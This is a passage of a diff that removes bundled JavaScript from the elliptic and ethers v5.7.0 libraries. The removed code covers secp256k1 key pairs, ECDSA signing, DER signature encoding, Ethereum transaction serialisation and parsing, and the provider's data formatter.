- return this.pub.encode(enc, compact); - }; - KeyPair.prototype.getPrivate = function getPrivate(enc) { - if (enc === "hex") - return this.priv.toString(16, 2); - else - return this.priv; - }; - KeyPair.prototype._importPrivate = function _importPrivate(key22, enc) { - this.priv = new import_bn2.default(key22, enc || 16); - this.priv = this.priv.umod(this.ec.curve.n); - }; - KeyPair.prototype._importPublic = function _importPublic(key22, enc) { - if (key22.x || key22.y) { - if (this.ec.curve.type === "mont") { - assert$3(key22.x, "Need x coordinate"); - } else if (this.ec.curve.type === "short" || this.ec.curve.type === "edwards") { - assert$3(key22.x && key22.y, "Need both x and y coordinate"); - } - this.pub = this.ec.curve.point(key22.x, key22.y); - return; - } - this.pub = this.ec.curve.decodePoint(key22, enc); - }; - KeyPair.prototype.derive = function derive(pub) { - if (!pub.validate()) { - assert$3(pub.validate(), "public point not validated"); - } - return pub.mul(this.priv).getX(); - }; - KeyPair.prototype.sign = function sign(msg, enc, options) { - return this.ec.sign(msg, this, enc, options); - }; - KeyPair.prototype.verify = function verify(msg, signature22) { - return this.ec.verify(msg, signature22, this); - }; - KeyPair.prototype.inspect = function inspect3() { - return ""; - }; - var assert$4 = utils_1$1.assert; - function Signature(options, enc) { - if (options instanceof Signature) - return options; - if (this._importDER(options, enc)) - return; - assert$4(options.r && options.s, "Signature without r or s"); - this.r = new import_bn2.default(options.r, 16); - this.s = new import_bn2.default(options.s, 16); - if (options.recoveryParam === void 0) - this.recoveryParam = null; - else - this.recoveryParam = options.recoveryParam; - } - var signature = Signature; - function Position() { - this.place = 0; - } - function getLength(buf, p) { - var initial = buf[p.place++]; - if (!(initial & 128)) { - return initial; - } - var octetLen = initial & 15; - if (octetLen === 0 || octetLen > 4) { - return false; - } - var val = 0; - for (var i = 0, off = p.place; i < octetLen; i++, off++) { - val <<= 8; - val |= buf[off]; - val >>>= 0; - } - if (val <= 127) { - return false; - } - p.place = off; - return val; - } - function rmPadding(buf) { - var i = 0; - var len = buf.length - 1; - while (!buf[i] && !(buf[i + 1] & 128) && i < len) { - i++; - } - if (i === 0) { - return buf; - } - return buf.slice(i); - } - Signature.prototype._importDER = function _importDER(data, enc) { - data = utils_1$1.toArray(data, enc); - var p = new Position(); - if (data[p.place++] !== 48) { - return false; - } - var len = getLength(data, p); - if (len === false) { - return false; - } - if (len + p.place !== data.length) { - return false; - } - if (data[p.place++] !== 2) { - return false; - } - var rlen = getLength(data, p); - if (rlen === false) { - return false; - } - var r22 = data.slice(p.place, rlen + p.place); - p.place += rlen; - if (data[p.place++] !== 2) { - return false; - } - var slen = getLength(data, p); - if (slen === false) { - return false; - } - if (data.length !== slen + p.place) { - return false; - } - var s = data.slice(p.place, slen + p.place); - if (r22[0] === 0) { - if (r22[1] & 128) { - r22 = r22.slice(1); - } else { - return false; - } - } - if (s[0] === 0) { - if (s[1] & 128) { - s = s.slice(1); - } else { - return false; - } - } - this.r = new import_bn2.default(r22); - this.s = new import_bn2.default(s); - this.recoveryParam = null; - return true; - }; - function constructLength(arr, len) { - if (len < 128) { - arr.push(len); - return; - } - var octets = 1 + (Math.log(len) / Math.LN2 >>> 3); - arr.push(octets | 128); - while (--octets) { - arr.push(len >>> (octets << 3) & 255); - } - arr.push(len); - } - Signature.prototype.toDER = function toDER(enc) { - var r22 = this.r.toArray(); - var s = this.s.toArray(); - if (r22[0] & 128) - r22 = [0].concat(r22); - if (s[0] & 128) - s = [0].concat(s); - r22 = rmPadding(r22); - s = rmPadding(s); - while (!s[0] && !(s[1] & 128)) { - s = s.slice(1); - } - var arr = [2]; - constructLength(arr, r22.length); - arr = arr.concat(r22); - arr.push(2); - constructLength(arr, s.length); - var backHalf = arr.concat(s); - var res = [48]; - constructLength(res, backHalf.length); - res = res.concat(backHalf); - return utils_1$1.encode(res, enc); - }; - var rand = ( - /*RicMoo:ethers:require(brorand)*/ - function() { - throw new Error("unsupported"); - } - ); - var assert$5 = utils_1$1.assert; - function EC(options) { - if (!(this instanceof EC)) - return new EC(options); - if (typeof options === "string") { - assert$5( - Object.prototype.hasOwnProperty.call(curves_1, options), - "Unknown curve " + options - ); - options = curves_1[options]; - } - if (options instanceof curves_1.PresetCurve) - options = { curve: options }; - this.curve = options.curve.curve; - this.n = this.curve.n; - this.nh = this.n.ushrn(1); - this.g = this.curve.g; - this.g = options.curve.g; - this.g.precompute(options.curve.n.bitLength() + 1); - this.hash = options.hash || options.curve.hash; - } - var ec = EC; - EC.prototype.keyPair = function keyPair(options) { - return new key(this, options); - }; - EC.prototype.keyFromPrivate = function keyFromPrivate(priv, enc) { - return key.fromPrivate(this, priv, enc); - }; - EC.prototype.keyFromPublic = function keyFromPublic(pub, enc) { - return key.fromPublic(this, pub, enc); - }; - EC.prototype.genKeyPair = function genKeyPair(options) { - if (!options) - options = {}; - var drbg = new hmacDrbg({ - hash: this.hash, - pers: options.pers, - persEnc: options.persEnc || "utf8", - entropy: options.entropy || rand(this.hash.hmacStrength), - entropyEnc: options.entropy && options.entropyEnc || "utf8", - nonce: this.n.toArray() - }); - var bytes = this.n.byteLength(); - var ns2 = this.n.sub(new import_bn2.default(2)); - for (; ; ) { - var priv = new import_bn2.default(drbg.generate(bytes)); - if (priv.cmp(ns2) > 0) - continue; - priv.iaddn(1); - return this.keyFromPrivate(priv); - } - }; - EC.prototype._truncateToN = function _truncateToN(msg, truncOnly) { - var delta = msg.byteLength() * 8 - this.n.bitLength(); - if (delta > 0) - msg = msg.ushrn(delta); - if (!truncOnly && msg.cmp(this.n) >= 0) - return msg.sub(this.n); - else - return msg; - }; - EC.prototype.sign = function sign2(msg, key22, enc, options) { - if (typeof enc === "object") { - options = enc; - enc = null; - } - if (!options) - options = {}; - key22 = this.keyFromPrivate(key22, enc); - msg = this._truncateToN(new import_bn2.default(msg, 16)); - var bytes = this.n.byteLength(); - var bkey = key22.getPrivate().toArray("be", bytes); - var nonce = msg.toArray("be", bytes); - var drbg = new hmacDrbg({ - hash: this.hash, - entropy: bkey, - nonce, - pers: options.pers, - persEnc: options.persEnc || "utf8" - }); - var ns1 = this.n.sub(new import_bn2.default(1)); - for (var iter = 0; ; iter++) { - var k = options.k ? options.k(iter) : new import_bn2.default(drbg.generate(this.n.byteLength())); - k = this._truncateToN(k, true); - if (k.cmpn(1) <= 0 || k.cmp(ns1) >= 0) - continue; - var kp = this.g.mul(k); - if (kp.isInfinity()) - continue; - var kpX = kp.getX(); - var r22 = kpX.umod(this.n); - if (r22.cmpn(0) === 0) - continue; - var s = k.invm(this.n).mul(r22.mul(key22.getPrivate()).iadd(msg)); - s = s.umod(this.n); - if (s.cmpn(0) === 0) - continue; - var recoveryParam = (kp.getY().isOdd() ? 1 : 0) | (kpX.cmp(r22) !== 0 ? 2 : 0); - if (options.canonical && s.cmp(this.nh) > 0) { - s = this.n.sub(s); - recoveryParam ^= 1; - } - return new signature({ r: r22, s, recoveryParam }); - } - }; - EC.prototype.verify = function verify2(msg, signature$1, key22, enc) { - msg = this._truncateToN(new import_bn2.default(msg, 16)); - key22 = this.keyFromPublic(key22, enc); - signature$1 = new signature(signature$1, "hex"); - var r22 = signature$1.r; - var s = signature$1.s; - if (r22.cmpn(1) < 0 || r22.cmp(this.n) >= 0) - return false; - if (s.cmpn(1) < 0 || s.cmp(this.n) >= 0) - return false; - var sinv = s.invm(this.n); - var u1 = sinv.mul(msg).umod(this.n); - var u2 = sinv.mul(r22).umod(this.n); - var p; - if (!this.curve._maxwellTrick) { - p = this.g.mulAdd(u1, key22.getPublic(), u2); - if (p.isInfinity()) - return false; - return p.getX().umod(this.n).cmp(r22) === 0; - } - p = this.g.jmulAdd(u1, key22.getPublic(), u2); - if (p.isInfinity()) - return false; - return p.eqXToP(r22); - }; - EC.prototype.recoverPubKey = function(msg, signature$1, j, enc) { - assert$5((3 & j) === j, "The recovery param is more than two bits"); - signature$1 = new signature(signature$1, enc); - var n = this.n; - var e = new import_bn2.default(msg); - var r22 = signature$1.r; - var s = signature$1.s; - var isYOdd = j & 1; - var isSecondKey = j >> 1; - if (r22.cmp(this.curve.p.umod(this.curve.n)) >= 0 && isSecondKey) - throw new Error("Unable to find sencond key candinate"); - if (isSecondKey) - r22 = this.curve.pointFromX(r22.add(this.curve.n), isYOdd); - else - r22 = this.curve.pointFromX(r22, isYOdd); - var rInv = signature$1.r.invm(n); - var s1 = n.sub(e).mul(rInv).umod(n); - var s2 = s.mul(rInv).umod(n); - return this.g.mulAdd(s1, r22, s2); - }; - EC.prototype.getKeyRecoveryParam = function(e, signature$1, Q, enc) { - signature$1 = new signature(signature$1, enc); - if (signature$1.recoveryParam !== null) - return signature$1.recoveryParam; - for (var i = 0; i < 4; i++) { - var Qprime; - try { - Qprime = this.recoverPubKey(e, signature$1, i); - } catch (e2) { - continue; - } - if (Qprime.eq(Q)) - return i; - } - throw new Error("Unable to find valid recovery factor"); - }; - var elliptic_1 = createCommonjsModule(function(module, exports) { - "use strict"; - var elliptic = exports; - elliptic.version = /*RicMoo:ethers*/ - { version: "6.5.4" }.version; - elliptic.utils = utils_1$1; - elliptic.rand = /*RicMoo:ethers:require(brorand)*/ - function() { - throw new Error("unsupported"); - }; - elliptic.curve = curve_1; - elliptic.curves = curves_1; - elliptic.ec = ec; - elliptic.eddsa = /*RicMoo:ethers:require(./elliptic/eddsa)*/ - null; - }); - var EC$1 = elliptic_1.ec; - init_define_chainIDList(); - init_define_extraRpcs(); - var version14 = "signing-key/5.7.0"; - var logger13 = new Logger(version14); - var _curve = null; - function getCurve() { - if (!_curve) { - _curve = new EC$1("secp256k1"); - } - return _curve; - } - var SigningKey = class { - constructor(privateKey) { - defineReadOnly(this, "curve", "secp256k1"); - defineReadOnly(this, "privateKey", hexlify(privateKey)); - if (hexDataLength(this.privateKey) !== 32) { - logger13.throwArgumentError("invalid private key", "privateKey", "[[ REDACTED ]]"); - } - const keyPair22 = getCurve().keyFromPrivate(arrayify(this.privateKey)); - defineReadOnly(this, "publicKey", "0x" + keyPair22.getPublic(false, "hex")); - defineReadOnly(this, "compressedPublicKey", "0x" + keyPair22.getPublic(true, "hex")); - defineReadOnly(this, "_isSigningKey", true); - } - _addPoint(other) { - const p0 = getCurve().keyFromPublic(arrayify(this.publicKey)); - const p1 = getCurve().keyFromPublic(arrayify(other)); - return "0x" + p0.pub.add(p1.pub).encodeCompressed("hex"); - } - signDigest(digest) { - const keyPair22 = getCurve().keyFromPrivate(arrayify(this.privateKey)); - const digestBytes = arrayify(digest); - if (digestBytes.length !== 32) { - logger13.throwArgumentError("bad digest length", "digest", digest); - } - const signature22 = keyPair22.sign(digestBytes, { canonical: true }); - return splitSignature({ - recoveryParam: signature22.recoveryParam, - r: hexZeroPad("0x" + signature22.r.toString(16), 32), - s: hexZeroPad("0x" + signature22.s.toString(16), 32) - }); - } - computeSharedSecret(otherKey) { - const keyPair22 = getCurve().keyFromPrivate(arrayify(this.privateKey)); - const otherKeyPair = getCurve().keyFromPublic(arrayify(computePublicKey(otherKey))); - return hexZeroPad("0x" + keyPair22.derive(otherKeyPair.getPublic()).toString(16), 32); - } - static isSigningKey(value) { - return !!(value && value._isSigningKey); - } - }; - function recoverPublicKey(digest, signature22) { - const sig = splitSignature(signature22); - const rs = { r: arrayify(sig.r), s: arrayify(sig.s) }; - return "0x" + getCurve().recoverPubKey(arrayify(digest), rs, sig.recoveryParam).encode("hex", false); - } - function computePublicKey(key22, compressed) { - const bytes = arrayify(key22); - if (bytes.length === 32) { - const signingKey = new SigningKey(bytes); - if (compressed) { - return "0x" + getCurve().keyFromPrivate(bytes).getPublic(true, "hex"); - } - return signingKey.publicKey; - } else if (bytes.length === 33) { - if (compressed) { - return hexlify(bytes); - } - return "0x" + getCurve().keyFromPublic(bytes).getPublic(false, "hex"); - } else if (bytes.length === 65) { - if (!compressed) { - return hexlify(bytes); - } - return "0x" + getCurve().keyFromPublic(bytes).getPublic(true, "hex"); - } - return logger13.throwArgumentError("invalid public or private key", "key", "[REDACTED]"); - } - init_define_chainIDList(); - init_define_extraRpcs(); - var version15 = "transactions/5.7.0"; - var logger14 = new Logger(version15); - var TransactionTypes; - (function(TransactionTypes22) { - TransactionTypes22[TransactionTypes22["legacy"] = 0] = "legacy"; - TransactionTypes22[TransactionTypes22["eip2930"] = 1] = "eip2930"; - TransactionTypes22[TransactionTypes22["eip1559"] = 2] = "eip1559"; - })(TransactionTypes || (TransactionTypes = {})); - function handleAddress(value) { - if (value === "0x") { - return null; - } - return getAddress(value); - } - function handleNumber(value) { - if (value === "0x") { - return Zero; - } - return BigNumber.from(value); - } - function computeAddress(key22) { - const publicKey = computePublicKey(key22); - return getAddress(hexDataSlice(keccak256(hexDataSlice(publicKey, 1)), 12)); - } - function recoverAddress(digest, signature22) { - return computeAddress(recoverPublicKey(arrayify(digest), signature22)); - } - function formatNumber(value, name) { - const result = stripZeros(BigNumber.from(value).toHexString()); - if (result.length > 32) { - logger14.throwArgumentError("invalid length for " + name, "transaction:" + name, value); - } - return result; - } - function accessSetify(addr, storageKeys) { - return { - address: getAddress(addr), - storageKeys: (storageKeys || []).map((storageKey, index2) => { - if (hexDataLength(storageKey) !== 32) { - logger14.throwArgumentError("invalid access list storageKey", `accessList[${addr}:${index2}]`, storageKey); - } - return storageKey.toLowerCase(); - }) - }; - } - function accessListify(value) { - if (Array.isArray(value)) { - return value.map((set, index2) => { - if (Array.isArray(set)) { - if (set.length > 2) { - logger14.throwArgumentError("access list expected to be [ address, storageKeys[] ]", `value[${index2}]`, set); - } - return accessSetify(set[0], set[1]); - } - return accessSetify(set.address, set.storageKeys); - }); - } - const result = Object.keys(value).map((addr) => { - const storageKeys = value[addr].reduce((accum, storageKey) => { - accum[storageKey] = true; - return accum; - }, {}); - return accessSetify(addr, Object.keys(storageKeys).sort()); - }); - result.sort((a, b) => a.address.localeCompare(b.address)); - return result; - } - function formatAccessList(value) { - return accessListify(value).map((set) => [set.address, set.storageKeys]); - } - function _serializeEip1559(transaction, signature22) { - if (transaction.gasPrice != null) { - const gasPrice = BigNumber.from(transaction.gasPrice); - const maxFeePerGas = BigNumber.from(transaction.maxFeePerGas || 0); - if (!gasPrice.eq(maxFeePerGas)) { - logger14.throwArgumentError("mismatch EIP-1559 gasPrice != maxFeePerGas", "tx", { - gasPrice, - maxFeePerGas - }); - } - } - const fields = [ - formatNumber(transaction.chainId || 0, "chainId"), - formatNumber(transaction.nonce || 0, "nonce"), - formatNumber(transaction.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), - formatNumber(transaction.maxFeePerGas || 0, "maxFeePerGas"), - formatNumber(transaction.gasLimit || 0, "gasLimit"), - transaction.to != null ? getAddress(transaction.to) : "0x", - formatNumber(transaction.value || 0, "value"), - transaction.data || "0x", - formatAccessList(transaction.accessList || []) - ]; - if (signature22) { - const sig = splitSignature(signature22); - fields.push(formatNumber(sig.recoveryParam, "recoveryParam")); - fields.push(stripZeros(sig.r)); - fields.push(stripZeros(sig.s)); - } - return hexConcat(["0x02", encode2(fields)]); - } - function _serializeEip2930(transaction, signature22) { - const fields = [ - formatNumber(transaction.chainId || 0, "chainId"), - formatNumber(transaction.nonce || 0, "nonce"), - formatNumber(transaction.gasPrice || 0, "gasPrice"), - formatNumber(transaction.gasLimit || 0, "gasLimit"), - transaction.to != null ? getAddress(transaction.to) : "0x", - formatNumber(transaction.value || 0, "value"), - transaction.data || "0x", - formatAccessList(transaction.accessList || []) - ]; - if (signature22) { - const sig = splitSignature(signature22); - fields.push(formatNumber(sig.recoveryParam, "recoveryParam")); - fields.push(stripZeros(sig.r)); - fields.push(stripZeros(sig.s)); - } - return hexConcat(["0x01", encode2(fields)]); - } - function _parseEipSignature(tx, fields, serialize3) { - try { - const recid = handleNumber(fields[0]).toNumber(); - if (recid !== 0 && recid !== 1) { - throw new Error("bad recid"); - } - tx.v = recid; - } catch (error) { - logger14.throwArgumentError("invalid v for transaction type: 1", "v", fields[0]); - } - tx.r = hexZeroPad(fields[1], 32); - tx.s = hexZeroPad(fields[2], 32); - try { - const digest = keccak256(serialize3(tx)); - tx.from = recoverAddress(digest, { r: tx.r, s: tx.s, recoveryParam: tx.v }); - } catch (error) { - } - } - function _parseEip1559(payload) { - const transaction = decode2(payload.slice(1)); - if (transaction.length !== 9 && transaction.length !== 12) { - logger14.throwArgumentError("invalid component count for transaction type: 2", "payload", hexlify(payload)); - } - const maxPriorityFeePerGas = handleNumber(transaction[2]); - const maxFeePerGas = handleNumber(transaction[3]); - const tx = { - type: 2, - chainId: handleNumber(transaction[0]).toNumber(), - nonce: handleNumber(transaction[1]).toNumber(), - maxPriorityFeePerGas, - maxFeePerGas, - gasPrice: null, - gasLimit: handleNumber(transaction[4]), - to: handleAddress(transaction[5]), - value: handleNumber(transaction[6]), - data: transaction[7], - accessList: accessListify(transaction[8]) - }; - if (transaction.length === 9) { - return tx; - } - tx.hash = keccak256(payload); - _parseEipSignature(tx, transaction.slice(9), _serializeEip1559); - return tx; - } - function _parseEip2930(payload) { - const transaction = decode2(payload.slice(1)); - if (transaction.length !== 8 && transaction.length !== 11) { - logger14.throwArgumentError("invalid component count for transaction type: 1", "payload", hexlify(payload)); - } - const tx = { - type: 1, - chainId: handleNumber(transaction[0]).toNumber(), - nonce: handleNumber(transaction[1]).toNumber(), - gasPrice: handleNumber(transaction[2]), - gasLimit: handleNumber(transaction[3]), - to: handleAddress(transaction[4]), - value: handleNumber(transaction[5]), - data: transaction[6], - accessList: accessListify(transaction[7]) - }; - if (transaction.length === 8) { - return tx; - } - tx.hash = keccak256(payload); - _parseEipSignature(tx, transaction.slice(8), _serializeEip2930); - return tx; - } - function _parse(rawTransaction) { - const transaction = decode2(rawTransaction); - if (transaction.length !== 9 && transaction.length !== 6) { - logger14.throwArgumentError("invalid raw transaction", "rawTransaction", rawTransaction); - } - const tx = { - nonce: handleNumber(transaction[0]).toNumber(), - gasPrice: handleNumber(transaction[1]), - gasLimit: handleNumber(transaction[2]), - to: handleAddress(transaction[3]), - value: handleNumber(transaction[4]), - data: transaction[5], - chainId: 0 - }; - if (transaction.length === 6) { - return tx; - } - try { - tx.v = BigNumber.from(transaction[6]).toNumber(); - } catch (error) { - return tx; - } - tx.r = hexZeroPad(transaction[7], 32); - tx.s = hexZeroPad(transaction[8], 32); - if (BigNumber.from(tx.r).isZero() && BigNumber.from(tx.s).isZero()) { - tx.chainId = tx.v; - tx.v = 0; - } else { - tx.chainId = Math.floor((tx.v - 35) / 2); - if (tx.chainId < 0) { - tx.chainId = 0; - } - let recoveryParam = tx.v - 27; - const raw = transaction.slice(0, 6); - if (tx.chainId !== 0) { - raw.push(hexlify(tx.chainId)); - raw.push("0x"); - raw.push("0x"); - recoveryParam -= tx.chainId * 2 + 8; - } - const digest = keccak256(encode2(raw)); - try { - tx.from = recoverAddress(digest, { r: hexlify(tx.r), s: hexlify(tx.s), recoveryParam }); - } catch (error) { - } - tx.hash = keccak256(rawTransaction); - } - tx.type = null; - return tx; - } - function parse(rawTransaction) { - const payload = arrayify(rawTransaction); - if (payload[0] > 127) { - return _parse(payload); - } - switch (payload[0]) { - case 1: - return _parseEip2930(payload); - case 2: - return _parseEip1559(payload); - default: - break; - } - return logger14.throwError(`unsupported transaction type: ${payload[0]}`, Logger.errors.UNSUPPORTED_OPERATION, { - operation: "parseTransaction", - transactionType: payload[0] - }); - } - var logger15 = new Logger(version13); - var Formatter = class _Formatter { - constructor() { - this.formats = this.getDefaultFormats(); - } - getDefaultFormats() { - const formats = {}; - const address = this.address.bind(this); - const bigNumber = this.bigNumber.bind(this); - const blockTag = this.blockTag.bind(this); - const data = this.data.bind(this); - const hash3 = this.hash.bind(this); - const hex = this.hex.bind(this); - const number = this.number.bind(this); - const type = this.type.bind(this); - const strictData = (v) => { - return this.data(v, true); - }; - formats.transaction = { - hash: hash3, - type, - accessList: _Formatter.allowNull(this.accessList.bind(this), null), - blockHash: _Formatter.allowNull(hash3, null), - blockNumber: _Formatter.allowNull(number, null), - transactionIndex: _Formatter.allowNull(number, null), - confirmations: _Formatter.allowNull(number, null), - from: address, - // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) - // must be set - gasPrice: _Formatter.allowNull(bigNumber), - maxPriorityFeePerGas: _Formatter.allowNull(bigNumber), - maxFeePerGas: _Formatter.allowNull(bigNumber), - gasLimit: bigNumber, - to: _Formatter.allowNull(address, null), - value: bigNumber, - nonce: number, - data, - r: _Formatter.allowNull(this.uint256), - s: _Formatter.allowNull(this.uint256), - v: _Formatter.allowNull(number), - creates: _Formatter.allowNull(address, null), - raw: _Formatter.allowNull(data) - }; - formats.transactionRequest = { - from: _Formatter.allowNull(address), - nonce: _Formatter.allowNull(number), - gasLimit: _Formatter.allowNull(bigNumber), - gasPrice: _Formatter.allowNull(bigNumber), - maxPriorityFeePerGas: _Formatter.allowNull(bigNumber), - maxFeePerGas: _Formatter.allowNull(bigNumber), - to: _Formatter.allowNull(address), - value: _Formatter.allowNull(bigNumber), - data: _Formatter.allowNull(strictData), - type: _Formatter.allowNull(number), - accessList: _Formatter.allowNull(this.accessList.bind(this), null) - }; - formats.receiptLog = { - transactionIndex: number, - blockNumber: number, - transactionHash: hash3, - address, - topics: _Formatter.arrayOf(hash3), - data, - logIndex: number, - blockHash: hash3 - }; - formats.receipt = { - to: _Formatter.allowNull(this.address, null), - from: _Formatter.allowNull(this.address, null), - contractAddress: _Formatter.allowNull(address, null), - transactionIndex: number, - // should be allowNull(hash), but broken-EIP-658 support is handled in receipt - root: _Formatter.allowNull(hex), - gasUsed: bigNumber, - logsBloom: _Formatter.allowNull(data), - blockHash: hash3, - transactionHash: hash3, - logs: _Formatter.arrayOf(this.receiptLog.bind(this)), - blockNumber: number, - confirmations: _Formatter.allowNull(number, null), - cumulativeGasUsed: bigNumber, - effectiveGasPrice: _Formatter.allowNull(bigNumber), - status: _Formatter.allowNull(number), - type - }; - formats.block = { - hash: _Formatter.allowNull(hash3), - parentHash: hash3, - number, - timestamp: number, - nonce: _Formatter.allowNull(hex), - difficulty: this.difficulty.bind(this), - gasLimit: bigNumber, - gasUsed: bigNumber, - miner: _Formatter.allowNull(address), - extraData: data, - transactions: _Formatter.allowNull(_Formatter.arrayOf(hash3)), - baseFeePerGas: _Formatter.allowNull(bigNumber) - }; - formats.blockWithTransactions = shallowCopy(formats.block); - formats.blockWithTransactions.transactions = _Formatter.allowNull(_Formatter.arrayOf(this.transactionResponse.bind(this))); - formats.filter = { - fromBlock: _Formatter.allowNull(blockTag, void 0), - toBlock: _Formatter.allowNull(blockTag, void 0), - blockHash: _Formatter.allowNull(hash3, void 0), - address: _Formatter.allowNull(address, void 0), - topics: _Formatter.allowNull(this.topics.bind(this), void 0) - }; - formats.filterLog = { - blockNumber: _Formatter.allowNull(number), - blockHash: _Formatter.allowNull(hash3), - transactionIndex: number, - removed: _Formatter.allowNull(this.boolean.bind(this)), - address, - data: _Formatter.allowFalsish(data, "0x"), - topics: _Formatter.arrayOf(hash3), - transactionHash: hash3, - logIndex: number - }; - return formats; - } - accessList(accessList) { - return accessListify(accessList || []); - } - // Requires a BigNumberish that is within the IEEE754 safe integer range; returns a number - // Strict! Used on input. - number(number) { - if (number === "0x") { - return 0; - } - return BigNumber.from(number).toNumber(); - } - type(number) { - if (number === "0x" || number == null) { - return 0; - } - return BigNumber.from(number).toNumber(); - } - // Strict! Used on input. - bigNumber(value) { - return BigNumber.from(value); - } - // Requires a boolean, "true" or "false"; returns a boolean - boolean(value) { - if (typeof value === "boolean") { - return value; - } - if (typeof value === "string") { - value = value.toLowerCase(); - if (value === "true") { - return true; - } - if (value === "false") { - return false; - } - } - throw new Error("invalid boolean - " + value); - } - hex(value, strict) { - if (typeof value === "string") { - if (!strict && value.substring(0, 2) !== "0x") { - value = "0x" + value; - } - if (isHexString(value)) { - return value.toLowerCase(); - } - } - return logger15.throwArgumentError("invalid hash", "value", value); - } - data(value, strict) { - const result = this.hex(value, strict); - if (result.length % 2 !== 0) { - throw new Error("invalid data; odd-length - " + value); - } - return result; - } - // Requires an address - // Strict! Used on input. - address(value) { - return getAddress(value); - } - callAddress(value) { - if (!isHexString(value, 32)) { - return null; - } - const address = getAddress(hexDataSlice(value, 12)); - return address === AddressZero ? null : address; - } - contractAddress(value) { - return getContractAddress(value); - } - // Strict! Used on input. - blockTag(blockTag) { - if (blockTag == null) { - return "latest"; - } - if (blockTag === "earliest") { - return "0x0"; - } - switch (blockTag) { - case "earliest": - return "0x0"; - case "latest": - case "pending": - case "safe": - case "finalized": - return blockTag; - } - if (typeof blockTag === "number" || isHexString(blockTag)) { - return hexValue(blockTag); - } - throw new Error("invalid blockTag"); - } - // Requires a hash, optionally requires 0x prefix; returns prefixed lowercase hash. - hash(value, strict) { - const result = this.hex(value, strict); - if (hexDataLength(result) !== 32) { - return logger15.throwArgumentError("invalid hash", "value", value); - } - return result; - } - // Returns the difficulty as a number, or if too large (i.e. PoA network) null - difficulty(value) { - if (value == null) { - return null; - } - const v = BigNumber.from(value); - try { - return v.toNumber(); - } catch (error) { - } - return null; - } - uint256(value) { - if (!isHexString(value)) { - throw new Error("invalid uint256"); - } - return hexZeroPad(value, 32); - } - _block(value, format) { - if (value.author != null && value.miner == null) { - value.miner = value.author; - } - const difficulty = value._difficulty != null ? value._difficulty : value.difficulty; - const result = _Formatter.check(format, value); - result._difficulty = difficulty == null ? null : BigNumber.from(difficulty); - return result; - } - block(value) { - return this._block(value, this.formats.block); - } - blockWithTransactions(value) { - return this._block(value, this.formats.blockWithTransactions); - } - // Strict! Used on input. - transactionRequest(value) { - return _Formatter.check(this.formats.transactionRequest, value); - } - transactionResponse(transaction) { - if (transaction.gas != null && transaction.gasLimit == null) { - transaction.gasLimit = transaction.gas; - } - if (transaction.to && BigNumber.from(transaction.to).isZero()) { - transaction.to = "0x0000000000000000000000000000000000000000"; - } - if (transaction.input != null && transaction.data == null) { - transaction.data = transaction.input; - } - if (transaction.to == null && transaction.creates == null) { - transaction.creates = this.contractAddress(transaction); - } - if ((transaction.type === 1 || transaction.type === 2) && transaction.accessList == null) { - transaction.accessList = []; - } - const result = _Formatter.check(this.formats.transaction, transaction); - if (transaction.chainId != null) { - let chainId = transaction.chainId; - if (isHexString(chainId)) { - chainId = BigNumber.from(chainId).toNumber(); - } - result.chainId = chainId; - } else { - let chainId = transaction.networkId; - if (chainId == null && result.v == null) { - chainId = transaction.chainId; - } - if (isHexString(chainId)) { - chainId = BigNumber.from(chainId).toNumber(); - } - if (typeof chainId !== "number" && result.v != null) { - chainId = (result.v - 35) / 2; - if (chainId < 0) { - chainId = 0; - } - chainId = parseInt(chainId); - } - if (typeof chainId !== "number") { - chainId = 0; - } - result.chainId = chainId; - } - if (result.blockHash && result.blockHash.replace(/0/g, "") === "x") { - result.blockHash = null; - } - return result; - } - transaction(value) { - return parse(value); - } - receiptLog(value) { - return _Formatter.check(this.formats.receiptLog, value); - } - receipt(value) { - const result = _Formatter.check(this.formats.receipt, value); - if (result.root != null) { - if (result.root.length <= 4) { - const value2 = BigNumber.from(result.root).toNumber(); - if (value2 === 0 || value2 === 1) { - if (result.status != null && result.status !== value2) { - logger15.throwArgumentError("alt-root-status/status mismatch", "value", { root: result.root, status: result.status }); - } - result.status = value2; - delete result.root; - } else { - logger15.throwArgumentError("invalid alt-root-status", "value.root", result.root); - } - } else if (result.root.length !== 66) { - logger15.throwArgumentError("invalid root hash", "value.root", result.root); - } - } - if (result.status != null) { - result.byzantium = true; - } - return result; - } - topics(value) { - if (Array.isArray(value)) { - return value.map((v) => this.topics(v)); - } else if (value != null) { - return this.hash(value, true); - } - return null; - } - filter(value) { - return _Formatter.check(this.formats.filter, value); - } - filterLog(value) { - return _Formatter.check(this.formats.filterLog, value); - } - static check(format, object) { - const result = {}; - for (const key22 in format) { - try { - const value = format[key22](object[key22]); - if (value !== void 0) { - result[key22] = value; - } - } catch (error) { - error.checkKey = key22; - error.checkValue = object[key22]; - throw error; - } - } - return result; - } - // if value is null-ish, nullValue is returned - static allowNull(format, nullValue) { - return function(value) { - if (value == null) { - return nullValue; - } - return format(value); - }; - } - // If value is false-ish, replaceValue is returned - static allowFalsish(format, replaceValue) { - return function(value) { - if (!value) { - return replaceValue; - } - return format(value); - }; - } - // Requires an Array satisfying check - static arrayOf(format) { - return function(array) { - if (!Array.isArray(array)) { - throw new Error("not an array"); - } - const result = []; - array.forEach(function(value) { - result.push(format(value)); - }); - return result; - }; - } - }; - var __awaiter6 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger16 = new Logger(version13); - var MAX_CCIP_REDIRECTS = 10; - function checkTopic(topic) { - if (topic == null) { - return "null"; - } - if (hexDataLength(topic) !== 32) { - logger16.throwArgumentError("invalid topic", "topic", topic); - } - return topic.toLowerCase(); - } - function serializeTopics(topics) { - topics = topics.slice(); - while (topics.length > 0 && topics[topics.length - 1] == null) { - topics.pop(); - } - return topics.map((topic) => { - if (Array.isArray(topic)) { - const unique = {}; - topic.forEach((topic2) => { - unique[checkTopic(topic2)] = true; - }); - const sorted = Object.keys(unique); - sorted.sort(); - return sorted.join("|"); - } else { - return checkTopic(topic); - } - }).join("&"); - } - function deserializeTopics(data) { - if (data === "") { - return []; - } - return data.split(/&/g).map((topic) => { - if (topic === "") { - return []; - } - const comps = topic.split("|").map((topic2) => { - return topic2 === 